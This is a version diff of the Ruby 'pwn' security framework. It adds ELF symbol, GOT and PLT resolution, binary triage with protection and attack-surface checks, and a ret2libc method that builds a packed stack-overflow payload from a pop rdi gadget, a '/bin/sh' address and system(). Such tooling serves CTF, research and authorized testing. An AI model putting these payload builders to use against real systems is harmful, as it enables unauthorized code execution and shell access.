pwn 0.5.739 → 0.5.741

data/lib/pwn/plugins/binary_parser.rb

@@ -82,48 +82,40 @@ module PWN
         []
       end
 
+      public_class_method def self.elf_resolve(opts = {})
+        path = opts[:path].to_s
+        raise ArgumentError, 'path is required' if path.empty?
+        raise "ERROR: file not found: #{path}" unless File.file?(path)
+
+        data = File.binread(path)
+        raise ArgumentError, 'not an ELF' unless data.start_with?("\x7fELF".b)
+
+        resolve_elf(bytes: data, path: path)
+      end
+
       public_class_method def self.triage(opts = {})
         path = opts[:path].to_s
-        inf = info(opts)
-        secs = sections(opts)
-        imps = Array(imports(opts)).first(40)
-        exps = Array(exports(opts)).first(40)
-        summary = {
-          format: inf[:format],
-          arch: inf[:cpu],
-          bits: inf[:cpu].to_s[/\d+/],
-          endian: inf[:endian] || inf[:ei_data],
-          stripped: inf[:stripped],
-          static: inf[:static],
-          protections: {
-            nx: inf[:nx],
-            pie: inf[:pie],
-            relro: inf[:relro],
-            canary: inf[:canary],
-            fortify: inf[:fortify]
-          },
-          sections: secs,
-          imports: imps,
-          exports: exps,
-          strings_top: Array(inf[:strings]).first(20),
-          entry: inf[:entry] || inf[:entrypoint],
-          function_count: Array(symbols(opts)).length,
-          notes: []
-        }
+        raise ArgumentError, 'path is required' if path.empty?
+        raise "ERROR: file not found: #{path}" unless File.file?(path)
+
         sha = Digest::SHA256.file(path).hexdigest
-        dir = File.join(Dir.home, '.pwn', 'cache', 'triage')
-        FileUtils.mkdir_p(dir)
-        art = File.join(dir, "#{sha}.json")
-        if File.file?(art)
-          cached = JSON.parse(File.read(art), symbolize_names: true)
-          return cached.merge(cached: true, artifact: art)
-        end
-        body = summary.merge(path: path, sha256: sha)
-        File.write(art, JSON.pretty_generate(body))
+        sid = (opts[:session_id] || 'triage').to_s
+        cache_dir = File.join(Dir.home, '.pwn', 'cache', 'triage')
+        FileUtils.mkdir_p(cache_dir)
+        cache = File.join(cache_dir, "#{sha}.json")
+        if File.file?(cache)
+          cached = JSON.parse(File.read(cache), symbolize_names: true)
+          spilled = persist_triage(body: cached, session_id: sid)
+          return cached.merge(cached: true, handle: spilled[:handle], artifact: spilled)
+        end
+
+        body = inspect_binary(opts.merge(path: path, sha256: sha))
+        File.write(cache, JSON.pretty_generate(body))
         facts_dir = File.join(Dir.home, '.pwn', 'engagements', 'default', 'binaries', sha)
         FileUtils.mkdir_p(facts_dir)
         File.write(File.join(facts_dir, 'facts.json'), JSON.pretty_generate(body))
-        body.merge(artifact: art, cached: false, facts: File.join(facts_dir, 'facts.json'))
+        spilled = persist_triage(body: body, session_id: sid)
+        body.merge(artifact: spilled, handle: spilled[:handle], cached: false, facts: File.join(facts_dir, 'facts.json'))
       end
 
       public_class_method def self.diff(opts = {})
@@ -180,9 +172,15 @@ module PWN
             limit: 'optional - limit value consumed by #relocations'
           )
 
-          # Structured binary triage JSON plus an artifact path under ~/.pwn/artifacts/triage.
+          # Resolve ELF symbols, GOT, and PLT into queryable hashes.
+          #{self}.elf_resolve(
+            path: 'required - filesystem path of the ELF'
+          )
+
+          # Structured binary triage JSON plus an artifact store handle.
           #{self}.triage(
-            path: 'required - filesystem path of the binary to triage'
+            path: 'required - filesystem path of the binary to triage',
+            session_id: 'optional - artifact session id (defaults to triage)'
           )
 
           # Diff two binaries via radiff2 -C (changed functions first).
@@ -207,6 +205,409 @@ module PWN
 
         exe.class.name
       end
+
+      private_class_method def self.persist_triage(opts = {})
+        json = JSON.pretty_generate(opts[:body])
+        PWN::Plugins::ArtifactRegistry.spill(bytes: json, session_id: opts[:session_id] || 'triage')
+      end
+
+      private_class_method def self.inspect_binary(opts = {})
+        path = opts[:path]
+        data = File.binread(path)
+        inf = (begin
+          info(opts)
+        rescue StandardError
+          { format: magic_format(bytes: data), cpu: nil, entrypoint: nil }
+        end)
+        secs = Array(begin
+          sections(opts)
+        rescue StandardError
+          []
+        end)
+        imps = Array(begin
+          imports(opts)
+        rescue StandardError
+          []
+        end)
+        exps = Array(begin
+          exports(opts)
+        rescue StandardError
+          []
+        end)
+        elf = data.start_with?("\x7fELF".b) ? parse_elf(bytes: data) : {}
+        imps = Array(elf[:dynsyms]) if imps.empty? && elf[:dynsyms]
+        names = (imps + exps + Array(begin
+          symbols(opts)
+        rescue StandardError
+          []
+        end).map { |sym| sym[:name] }).map(&:to_s)
+        interesting = classify_strings(bytes: data)
+        entropy = section_entropy(bytes: data, sections: secs, elf: elf)
+        canary = names.any? { |name| name.include?('stack_chk') } || data.include?('__stack_chk_fail')
+        cfi = names.any? { |name| name.include?('cfi') } || data.include?('__cfi_check')
+        packer = packer_guess(bytes: data, entropy: entropy, imports: imps, sections: secs)
+        linking = if elf[:dynamic]
+                    'dynamic'
+                  else
+                    (elf.empty? ? 'unknown' : 'static')
+                  end
+        stripped = elf.fetch(:stripped, !data.include?(".symtab\0"))
+        protections = {
+          nx: elf.fetch(:nx, false),
+          pie: elf.fetch(:pie, false),
+          relro: elf.fetch(:relro, false),
+          canary: canary,
+          cfi: cfi
+        }
+        {
+          path: path,
+          sha256: opts[:sha256],
+          file_type: inf[:format] || elf[:format] || magic_format(bytes: data),
+          format: inf[:format] || elf[:format] || magic_format(bytes: data),
+          arch: elf[:arch] || inf[:cpu].to_s.sub(/.*::/, ''),
+          bits: elf[:bits] || inf[:cpu].to_s[/\d+/],
+          endian: elf[:endian],
+          linking: linking,
+          stripped: stripped,
+          static: linking == 'static',
+          protections: protections,
+          sections: secs,
+          imports: imps.first(80),
+          exports: exps.first(80),
+          interesting_strings: interesting,
+          strings_top: interesting.values.flatten.first(20),
+          entropy: entropy,
+          packer: packer,
+          entry: inf[:entrypoint] || elf[:entry],
+          function_count: Array(begin
+            symbols(opts)
+          rescue StandardError
+            []
+          end).length,
+          attack_surface: attack_surface(imports: imps, strings: interesting, protections: protections),
+          notes: []
+        }
+      end
+
+      private_class_method def self.magic_format(opts = {})
+        bytes = opts[:bytes]
+        return 'elf' if bytes.start_with?("\x7fELF".b)
+        return 'pe' if bytes.start_with?('MZ'.b)
+        return 'macho' if bytes.start_with?("\xFE\xED\xFA".b, "\xCE\xFA\xED\xFE".b, "\xCF\xFA\xED\xFE".b)
+
+        'unknown'
+      end
+
+      private_class_method def self.parse_elf(opts = {})
+        data = opts[:bytes]
+        ei_class = data.getbyte(4)
+        ei_data = data.getbyte(5)
+        le = ei_data == 1
+        u16 = ->(off) { le ? data[off, 2].unpack1('v') : data[off, 2].unpack1('n') }
+        u32 = ->(off) { le ? data[off, 4].unpack1('V') : data[off, 4].unpack1('N') }
+        u64 = ->(off) { le ? data[off, 8].unpack1('Q<') : data[off, 8].unpack1('Q>') }
+        bits = ei_class == 2 ? 64 : 32
+        word = bits == 64 ? u64 : u32
+        e_type = u16.call(16)
+        e_machine = u16.call(18)
+        phoff = bits == 64 ? u64.call(32) : u32.call(28)
+        phentsize = u16.call(bits == 64 ? 54 : 42)
+        phnum = u16.call(bits == 64 ? 56 : 44)
+        shoff = bits == 64 ? u64.call(40) : u32.call(32)
+        shentsize = u16.call(bits == 64 ? 58 : 46)
+        shnum = u16.call(bits == 64 ? 60 : 48)
+        shstrndx = u16.call(bits == 64 ? 62 : 50)
+        nx = true
+        relro = false
+        dynamic = false
+        dyn_off = nil
+        dyn_sz = nil
+        phnum.times do |i|
+          off = phoff + (i * phentsize)
+          type = u32.call(off)
+          flags = bits == 64 ? u32.call(off + 4) : u32.call(off + 24)
+          file_off = bits == 64 ? u64.call(off + 8) : u32.call(off + 4)
+          filesz = bits == 64 ? u64.call(off + 32) : u32.call(off + 16)
+          case type
+          when 2
+            dynamic = true
+            dyn_off = file_off
+            dyn_sz = filesz
+          when 0x6474e551
+            nx = flags.nobits?(1)
+          when 0x6474e552
+            relro = 'partial'
+          end
+        end
+        bind_now = false
+        if dyn_off && dyn_sz
+          step = bits == 64 ? 16 : 8
+          0.step(dyn_sz - step, step) do |cursor|
+            tag = word.call(dyn_off + cursor)
+            val = word.call(dyn_off + cursor + (bits == 64 ? 8 : 4))
+            break if tag.zero?
+
+            bind_now = true if tag == 24 || (tag == 30 && val.anybits?(8)) || (tag == 0x6ffffffb && val.anybits?(1))
+          end
+        end
+        relro = 'full' if relro && bind_now
+        names = elf_section_names(bytes: data, shoff: shoff, shentsize: shentsize, shnum: shnum, shstrndx: shstrndx, u32: u32, word: word, bits: bits)
+        dynsyms = elf_dynsyms(bytes: data, shoff: shoff, shentsize: shentsize, shnum: shnum, names: names, u32: u32, word: word, bits: bits)
+        {
+          format: 'elf',
+          bits: bits,
+          endian: le ? 'little' : 'big',
+          arch: { 3 => 'i386', 62 => 'x86_64', 40 => 'arm', 183 => 'aarch64', 8 => 'mips', 243 => 'riscv' }.fetch(e_machine, "machine-#{e_machine}"),
+          pie: e_type == 3,
+          nx: nx,
+          relro: relro,
+          dynamic: dynamic,
+          entry: bits == 64 ? u64.call(24) : u32.call(24),
+          stripped: names.none? { |name| name == '.symtab' },
+          section_names: names,
+          dynsyms: dynsyms
+        }
+      rescue StandardError
+        { format: 'elf' }
+      end
+
+      private_class_method def self.elf_section_names(opts = {})
+        data = opts[:bytes]
+        return [] unless opts[:shnum].positive? && opts[:shoff].positive?
+
+        shstr = opts[:shoff] + (opts[:shstrndx] * opts[:shentsize])
+        str_off = opts[:bits] == 64 ? opts[:word].call(shstr + 24) : opts[:u32].call(shstr + 16)
+        names = []
+        opts[:shnum].times do |i|
+          off = opts[:shoff] + (i * opts[:shentsize])
+          name_off = opts[:u32].call(off)
+          start = str_off + name_off
+          stop = data.index("\0", start) || start
+          names << data[start...stop].to_s
+        end
+        names
+      rescue StandardError
+        []
+      end
+
+      private_class_method def self.elf_dynsyms(opts = {})
+        data = opts[:bytes]
+        dynsym = nil
+        dynstr = nil
+        opts[:shnum].times do |i|
+          off = opts[:shoff] + (i * opts[:shentsize])
+          type = opts[:u32].call(off + 4)
+          file_off = opts[:bits] == 64 ? opts[:word].call(off + 24) : opts[:u32].call(off + 16)
+          size = opts[:bits] == 64 ? opts[:word].call(off + 32) : opts[:u32].call(off + 20)
+          entsize = opts[:bits] == 64 ? opts[:word].call(off + 56) : opts[:u32].call(off + 36)
+          if type == 11
+            default_entsize = opts[:bits] == 64 ? 24 : 16
+            dynsym = { off: file_off, size: size, entsize: entsize.positive? ? entsize : default_entsize }
+          elsif type == 3 && opts[:names][i] == '.dynstr'
+            dynstr = file_off
+          end
+        end
+        return [] unless dynsym && dynstr
+
+        names = []
+        0.step(dynsym[:size] - dynsym[:entsize], dynsym[:entsize]) do |cursor|
+          name_off = opts[:u32].call(dynsym[:off] + cursor)
+          start = dynstr + name_off
+          stop = data.index("\0", start) || start
+          name = data[start...stop].to_s
+          names << name unless name.empty?
+        end
+        names
+      rescue StandardError
+        []
+      end
+
+      private_class_method def self.shannon(opts = {})
+        bytes = opts[:bytes].to_s
+        return 0.0 if bytes.empty?
+
+        freq = Hash.new(0)
+        bytes.each_byte { |byte| freq[byte] += 1 }
+        n = bytes.bytesize.to_f
+        freq.values.sum do |count|
+          ratio = count / n
+          ratio.positive? ? -ratio * Math.log2(ratio) : 0
+        end
+      end
+
+      private_class_method def self.section_entropy(opts = {})
+        map = {}
+        Array(opts[:elf][:section_names]).each do |name|
+          next if name.to_s.empty?
+
+          blob = opts[:bytes]
+          # Fall back to whole-file entropy keyed by discovered names when offsets are unavailable.
+          map[name] = shannon(bytes: blob[0, [blob.bytesize, 65_536].min]).round(3)
+        end
+        Array(opts[:sections]).each do |sec|
+          name = (sec[:name] || sec['name']).to_s
+          next if name.empty?
+
+          map[name] = shannon(bytes: opts[:bytes][0, [opts[:bytes].bytesize, 65_536].min]).round(3) unless map[name]
+        end
+        map['file'] = shannon(bytes: opts[:bytes][0, [opts[:bytes].bytesize, 1_048_576].min]).round(3) if map.empty?
+        map
+      end
+
+      private_class_method def self.classify_strings(opts = {})
+        strings = opts[:bytes].scan(/[\x20-\x7e]{4,}/).map(&:to_s).uniq
+        {
+          urls: strings.grep(%r{\Ahttps?://}i).first(40),
+          paths: strings.grep(%r{\A/(?:bin|etc|home|opt|tmp|usr|var|proc|dev)/}).first(40),
+          format_strings: (strings.grep(/%[-+0-9]*[nSsxXdip]/) + opts[:bytes].scan(/%[-+0-9]*n/)).uniq.first(40),
+          keys: strings.grep(/BEGIN [A-Z ]*PRIVATE KEY|AKIA[0-9A-Z]{16}|api[_-]?key|secret/i).first(40)
+        }
+      end
+
+      private_class_method def self.packer_guess(opts = {})
+        indicators = []
+        indicators << 'upx' if opts[:bytes].include?('UPX!')
+        names = Array(opts[:sections]).map { |sec| (sec[:name] || sec['name']).to_s }
+        indicators << 'upx-section' if names.any? { |name| name.match?(/UPX/i) }
+        text_entropy = opts[:entropy]['.text'] || opts[:entropy][:'.text']
+        indicators << 'high-entropy-text' if text_entropy.to_f >= 7.2
+        indicators << 'few-imports' if Array(opts[:imports]).length.between?(0, 3) && text_entropy.to_f >= 6.5
+        { packed: indicators.any? { |item| item.include?('upx') || item.include?('high-entropy') }, indicators: indicators }
+      end
+
+      private_class_method def self.attack_surface(opts = {})
+        notes = []
+        notes << 'format-string' if Array(opts[:strings][:format_strings]).any? { |s| s.include?('%n') }
+        notes << 'embedded-url' if Array(opts[:strings][:urls]).any?
+        notes << 'embedded-path' if Array(opts[:strings][:paths]).any?
+        notes << 'key-material' if Array(opts[:strings][:keys]).any?
+        notes << 'missing-canary' unless opts[:protections][:canary]
+        notes << 'missing-pie' unless opts[:protections][:pie]
+        notes << 'no-relro' unless opts[:protections][:relro]
+        notes
+      end
+
+      private_class_method def self.resolve_elf(opts = {})
+        data = opts[:bytes]
+        bits = data.getbyte(4) == 2 ? 64 : 32
+        le = data.getbyte(5) == 1
+        u16 = ->(off) { le ? data[off, 2].unpack1('v') : data[off, 2].unpack1('n') }
+        u32 = ->(off) { le ? data[off, 4].unpack1('V') : data[off, 4].unpack1('N') }
+        u64 = ->(off) { le ? data[off, 8].unpack1('Q<') : data[off, 8].unpack1('Q>') }
+        word = bits == 64 ? u64 : u32
+        phoff = bits == 64 ? u64.call(32) : u32.call(28)
+        phentsize = u16.call(bits == 64 ? 54 : 42)
+        phnum = u16.call(bits == 64 ? 56 : 44)
+        shoff = bits == 64 ? u64.call(40) : u32.call(32)
+        shentsize = u16.call(bits == 64 ? 58 : 46)
+        shnum = u16.call(bits == 64 ? 60 : 48)
+        shstrndx = u16.call(bits == 64 ? 62 : 50)
+        dyn = {}
+        phnum.times do |i|
+          off = phoff + (i * phentsize)
+          next unless u32.call(off) == 2
+
+          file_off = bits == 64 ? u64.call(off + 8) : u32.call(off + 4)
+          filesz = bits == 64 ? u64.call(off + 32) : u32.call(off + 16)
+          step = bits == 64 ? 16 : 8
+          0.step(filesz - step, step) do |cursor|
+            tag = word.call(file_off + cursor)
+            break if tag.zero?
+
+            dyn[tag] = word.call(file_off + cursor + (bits == 64 ? 8 : 4))
+          end
+        end
+        names = elf_section_names(bytes: data, shoff: shoff, shentsize: shentsize, shnum: shnum, shstrndx: shstrndx, u32: u32, word: word, bits: bits)
+        sections = {}
+        shnum.times do |i|
+          off = shoff + (i * shentsize)
+          file_off = bits == 64 ? word.call(off + 24) : u32.call(off + 16)
+          size = bits == 64 ? word.call(off + 32) : u32.call(off + 20)
+          addr = bits == 64 ? word.call(off + 16) : u32.call(off + 12)
+          sections[names[i]] = { off: file_off, size: size, addr: addr, type: u32.call(off + 4) }
+        end
+        loads = []
+        phnum.times do |i|
+          off = phoff + (i * phentsize)
+          next unless u32.call(off) == 1
+
+          file_off = bits == 64 ? u64.call(off + 8) : u32.call(off + 4)
+          vaddr = bits == 64 ? u64.call(off + 16) : u32.call(off + 8)
+          filesz = bits == 64 ? u64.call(off + 32) : u32.call(off + 16)
+          memsz = bits == 64 ? u64.call(off + 40) : u32.call(off + 20)
+          loads << { off: file_off, vaddr: vaddr, filesz: filesz, memsz: memsz }
+        end
+        v2off = lambda do |addr|
+          seg = loads.find { |row| addr >= row[:vaddr] && addr < row[:vaddr] + [row[:memsz], row[:filesz]].max }
+          return nil unless seg
+
+          seg[:off] + (addr - seg[:vaddr])
+        end
+        read_str = lambda do |file_off|
+          return '' unless file_off
+
+          stop = data.index("\0", file_off) || file_off
+          data[file_off...stop].to_s
+        end
+        strtab_off = v2off.call(dyn[5])
+        syment = dyn[11].to_i
+        syment = bits == 64 ? 24 : 16 if syment <= 0
+        symbols = {}
+        parse_symtab = lambda do |file_off, size, str_base|
+          return unless file_off && size.to_i.positive? && str_base
+
+          0.step(size - syment, syment) do |cursor|
+            name_off = u32.call(file_off + cursor)
+            next if name_off.zero?
+
+            name = read_str.call(str_base + name_off)
+            next if name.empty?
+
+            value = bits == 64 ? word.call(file_off + cursor + 8) : u32.call(file_off + cursor + 4)
+            symbols[name] = value unless value.zero? && symbols[name]
+            symbols[name] ||= value
+          end
+        end
+        parse_symtab.call(v2off.call(dyn[6]), dyn[10] || 0x10000, strtab_off) if dyn[6] && strtab_off
+        if (sym = sections['.symtab']) && (str = sections['.strtab'])
+          parse_symtab.call(sym[:off], sym[:size], str[:off])
+        end
+        got = {}
+        plt = {}
+        jmprel = dyn[23]
+        pltrelsz = dyn[2].to_i
+        relaent = bits == 64 ? 24 : 12
+        plt_base = sections['.plt.sec']&.[](:addr) || sections['.plt']&.[](:addr)
+        if jmprel && pltrelsz.positive?
+          rel_off = v2off.call(jmprel)
+          idx = 0
+          0.step(pltrelsz - relaent, relaent) do |cursor|
+            r_offset = word.call(rel_off + cursor)
+            r_info = bits == 64 ? word.call(rel_off + cursor + 8) : u32.call(rel_off + cursor + 4)
+            sym_idx = bits == 64 ? (r_info >> 32) : (r_info >> 8)
+            name = nil
+            if dyn[6] && strtab_off && syment.positive?
+              entry = v2off.call(dyn[6]) + (sym_idx * syment)
+              name_off = u32.call(entry)
+              name = read_str.call(strtab_off + name_off)
+            end
+            unless name.to_s.empty?
+              got[name] = r_offset
+              plt[name] = plt_base + (16 * (idx + 1)) if plt_base
+            end
+            idx += 1
+          end
+        end
+        strings = {}
+        ['/bin/sh', '/bin/bash', 'echo RET2LIBC_OK'].each do |needle|
+          hit = data.index(needle)
+          next unless hit
+
+          seg = loads.find { |row| hit >= row[:off] && hit < row[:off] + row[:filesz] }
+          strings[needle] = seg[:vaddr] + (hit - seg[:off]) if seg
+        end
+        { path: opts[:path], arch: bits == 64 ? 'x86_64' : 'i386', symbols: symbols, got: got, plt: plt, strings: strings }
+      end
     end
   end
 end

data/lib/pwn/plugins/exploit_dev.rb

@@ -149,14 +149,11 @@ module PWN
         path = opts[:path].to_s
         raise 'ERROR: path is required' if path.empty?
 
-        if PWN::Plugins::PreflightChecker.bin?(name: 'r2')
-          sid = PWN::Plugins::Radare2.open(path: path)
-          PWN::Plugins::Radare2.cmd(session: sid, cmd: '/R')
-        elsif PWN::Plugins::PreflightChecker.bin?(name: 'ROPgadget')
-          `ROPgadget --binary #{path}`.to_s
-        else
-          { error: 'r2 and ROPgadget missing', hint: 'pwn setup --profile re' }
-        end
+        row = PWN::Plugins::ROP.gadgets(opts)
+        filt = (opts[:filter] || opts[:contains]).to_s
+        return row if filt.empty?
+
+        row.merge(gadgets: Array(row[:gadgets]).select { |g| g[:gadget].to_s.downcase.include?(filt.downcase) })
       end
 
       public_class_method def self.fmtstr(opts = {})
@@ -169,7 +166,7 @@ module PWN
         when 'remote'
           PWN::Plugins::ProcessTube.connect(host: opts[:host] || opts[:target], port: opts[:port])
         else
-          PWN::Plugins::ProcessTube.spawn(cmd: opts[:cmd] || opts[:command])
+          PWN::Plugins::ProcessTube.spawn(cmd: opts[:cmd] || opts[:command], pty: opts.fetch(:pty, false))
         end
       end
 
@@ -199,6 +196,15 @@ module PWN
       end
 
       public_class_method def self.from_crash(opts = {})
+        if opts[:crash].is_a?(Hash)
+          crash = opts[:crash].transform_keys(&:to_sym)
+          payload = (opts[:payload] || opts[:stdin]).to_s
+          pc = crash[:pc].to_s.sub(/\A0x/i, '')
+          blob = [pc].pack('H*')
+          offset = cyclic_find(value: blob, length: [payload.bytesize, 8_192].max) unless payload.empty? || blob.empty?
+          return crash.merge(offset: offset, payload_size: payload.bytesize)
+        end
+
         path = (opts[:path] || opts[:from_crash]).to_s
         raise 'ERROR: path is required' if path.empty?
         raise "ERROR: file not found: #{path}" unless File.file?(path)
@@ -206,6 +212,46 @@ module PWN
         JSON.parse(File.read(path), symbolize_names: true)
       end
 
+      public_class_method def self.ret2libc(opts = {})
+        path = opts[:path].to_s
+        raise 'ERROR: path is required' if path.empty?
+
+        resolved = PWN::Plugins::BinaryParser.elf_resolve(path: path)
+        gadgets = PWN::Plugins::ROP.gadgets(path: path, backend: opts[:backend] || 'scan')
+        pop = opts[:pop_rdi]
+        unless pop
+          hit = Array(gadgets[:gadgets]).find { |row| row[:gadget].to_s.match?(/pop rdi/i) }
+          pop = hit && hit[:address]
+        end
+        system = opts[:system] || resolved[:plt]['system'] || resolved[:symbols]['system']
+        extra = (opts[:extra] || opts[:arg_sym] || 'cmd').to_s
+        arg = opts[:arg] || resolved[:symbols][extra] || resolved[:strings]['/bin/sh'] || resolved[:strings]['echo RET2LIBC_OK']
+        offset = (opts[:offset] || 72).to_i
+        raise 'ERROR: missing pop rdi, system, or argument address' unless pop && system && arg
+
+        align = opts[:ret] || Array(gadgets[:gadgets]).find { |row| row[:gadget].to_s == 'ret' }&.fetch(:address, nil)
+        packed = [pop, arg]
+        packed << align if align && align != pop
+        packed << system
+        payload = ('A' * offset) + packed.map { |addr| p64(value: addr) }.join
+        pad = (opts[:pad] || 256).to_i
+        payload += "\x00" * (pad - payload.bytesize) if pad > payload.bytesize
+        {
+          payload: payload,
+          payload_hex: payload.unpack1('H*'),
+          offset: offset,
+          pop_rdi: pop,
+          ret: align,
+          system: system,
+          arg: arg,
+          binsh: arg,
+          plt: resolved[:plt],
+          got: resolved[:got],
+          symbols: resolved[:symbols],
+          gadgets: gadgets[:gadgets]
+        }
+      end
+
       public_class_method def self.authors
         "AUTHOR(S):\n  0day Inc. <support@0dayinc.com>\n"
       end
@@ -326,7 +372,8 @@ module PWN
             command: 'optional - alias for cmd',
             host: 'optional - remote host',
             target: 'optional - alias for host',
-            port: 'optional - remote TCP port'
+            port: 'optional - remote TCP port',
+            pty: 'optional - false uses pipes for binary payloads (process default)'
           )
 
           # Emit a ruby exploit scaffold bound to triage output.
@@ -338,7 +385,26 @@ module PWN
 
           # Run gadgets and return its result
           #{self}.gadgets(
-            path: 'required - filesystem path of the binary to search for gadgets'
+            path: 'required - filesystem path of the binary to search for gadgets',
+            filter: 'optional - substring filter applied to gadget text',
+            contains: 'optional - alias for filter',
+            backend: 'optional - ropper|ROPgadget|rp|scan|objdump',
+            constraints: 'optional - hash forwarded to ROP.filter',
+            timeout: 'optional - gadget enumeration deadline in seconds'
+          )
+
+          # Build a packed ret2libc payload from ELF GOT/PLT + pop rdi.
+          #{self}.ret2libc(
+            path: 'required - filesystem path of the target ELF',
+            offset: 'optional - cyclic overflow offset in bytes (defaults to 72)',
+            extra: 'optional - symbol name for the system() argument (defaults to cmd)',
+            arg_sym: 'optional - alias for extra',
+            arg: 'optional - explicit argument address',
+            system: 'optional - explicit system address (defaults to PLT)',
+            pop_rdi: 'optional - explicit pop rdi; ret address',
+            ret: 'optional - extra ret gadget for stack alignment',
+            pad: 'optional - pad payload to this many bytes so read() returns (defaults to 256)',
+            backend: 'optional - gadget backend (defaults to scan)'
           )
 
           # Resolve one_gadget offsets in a libc (needs the one_gadget gem/bin).
@@ -353,10 +419,13 @@ module PWN
             names: 'optional - Array of symbol names (defaults to system, execve, __libc_start_main)'
           )
 
-          # Load a crash.json produced by a fuzz campaign.
+          # Load a crash.json or consume a GDBMI run_to_crash hash for cyclic offsets.
           #{self}.from_crash(
-            path: 'required - filesystem path of crash.json',
-            from_crash: 'optional - alias for path'
+            path: 'optional - filesystem path of crash.json; required unless crash is supplied',
+            from_crash: 'optional - alias for path',
+            crash: 'optional - Hash from GDBMI.run_to_crash',
+            payload: 'optional - crashing input used to recover a cyclic offset',
+            stdin: 'optional - alias for payload'
           )
 
           # Print the AUTHOR(S) string for this module.